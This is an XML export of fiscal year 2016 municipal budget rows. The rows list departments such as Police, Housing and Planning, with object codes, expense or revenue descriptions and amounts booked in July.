<row _id="18211"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5300</total></row>
<row _id="18212"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>120633</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>120633</total></row>
<row _id="18213"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="18214"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>145000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>145000</total></row>
<row _id="18215"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>862857</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>862857</total></row>
<row _id="18216"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403830.0</object><object_description>SUPPORTIVE HOUSING PROGRAM GR</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-389215</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-389215</total></row>
<row _id="18217"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400700.0</object><object_description>PARKING CITATION FINES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2016</fiscal_year><july>-15000000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-15000000</total></row>
<row _id="18218"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400810.0</object><object_description>PEACE OFFICERS TRAINING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-70000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-70000</total></row>
<row _id="18219"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>32613</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>32613</total></row>
<row _id="18220"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13499</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13499</total></row>
<row _id="18221"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1350</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1350</total></row>
<row _id="18222"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10384</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10384</total></row>
<row _id="18223"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>566470.0</object><object_description>TRAFFIC SIGNAL MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>124915</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>124915</total></row>
<row _id="18224"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>97818</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>97818</total></row>
<row _id="18225"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3608258</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3608258</total></row>
<row _id="18226"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>112</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>112</total></row>
<row _id="18227"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1562</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1562</total></row>
<row _id="18228"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>404000.0</object><object_description>STC PROGRAM</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-4400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-4400</total></row>
<row _id="18229"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>22</fund_id><fund_name>COPS Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>405810.0</object><object_description>COPS - PER CAPITA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-100000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-100000</total></row>
<row _id="18230"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1100</total></row>
<row _id="18231"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>577230.0</object><object_description>FISCAL AGENT FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12460</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12460</total></row>
<row _id="18232"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2572</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2572</total></row>
<row _id="18233"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>74041</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>74041</total></row>
<row _id="18234"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5192</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5192</total></row>
<row _id="18235"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>519</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>519</total></row>
<row _id="18236"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7009</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7009</total></row>
<row _id="18237"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4153</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4153</total></row>
<row _id="18238"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20665</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20665</total></row>
<row _id="18239"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5100</total></row>
<row _id="18240"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>41534</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>41534</total></row>
<row _id="18241"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>577410.0</object><object_description>SITE IMPROVEMENTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8379</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8379</total></row>
<row _id="18242"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>134453</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>134453</total></row>
<row _id="18243"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>104</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>104</total></row>
<row _id="18244"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>23495</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>23495</total></row>
<row _id="18245"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2130</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2130</total></row>
<row _id="18246"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>41219</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>41219</total></row>
<row _id="18247"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>103</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>103</total></row>
<row _id="18248"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>30600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30600</total></row>
<row _id="18249"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2381285</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2381285</total></row>
<row _id="18250"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3792</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3792</total></row>
<row _id="18251"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401290.0</object><object_description>POLICE-MOVIE JOBS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-464111</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-464111</total></row>
<row _id="18252"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1832</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1832</total></row>
<row _id="18253"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2596</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2596</total></row>
<row _id="18254"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1038</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1038</total></row>
<row _id="18255"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1168583</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1168583</total></row>
<row _id="18256"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3852</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3852</total></row>
<row _id="18257"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4153</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4153</total></row>
<row _id="18258"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2560</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2560</total></row>
<row _id="18259"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>32834</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>32834</total></row>
